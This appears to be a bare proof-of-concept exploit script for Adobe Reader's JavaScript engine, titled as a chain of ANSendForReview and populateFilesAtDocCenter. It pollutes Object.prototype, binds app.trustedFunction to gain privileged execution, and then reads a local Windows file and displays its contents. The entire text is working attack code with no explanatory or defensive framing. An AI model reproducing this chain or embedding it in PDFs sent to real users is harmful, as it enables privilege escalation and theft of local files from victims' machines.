Adobe Reader ANSendForReview + populateFilesAtDocCenter chain

pdf.js

global.exec = function(obj, method, args) {
  app.beginPriv();
  var ret = method.apply(obj, args);
  app.endPriv();
  return ret;
};

var stream = { read: app.trustedFunction.bind(app, global.exec) };
var ob = {};
ob["getMatchingFiles"] = SOAP.stringFromStream.bind(SOAP, stream);
Object.prototype.__defineGetter__("swConn", function() { return ob; });

var pwnobj = {
  match: populateFilesAtDocCenter.bind(null, {}, "x"),
  substring: function() { throw Error(""); }
};

var fakeDoc = {};
fakeDoc.__defineGetter__("path", function() { return pwnobj; });

try { ANSendForReview(fakeDoc); } catch(e) {}

var R = [];

try {
  var stream = global.exec(util, util.readFileIntoStream, ["/C/Windows/WindowsUpdate.log"]);
  if (stream) {
    var txt = SOAP.stringFromStream(stream);
    R.push("[+] C:\\Windows\\WindowsUpdate.log:");
    R.push(txt.substring(0, 1000));
  }
} catch(e) { R.push("readFile: " + e); }

app.alert(R.join("\n"));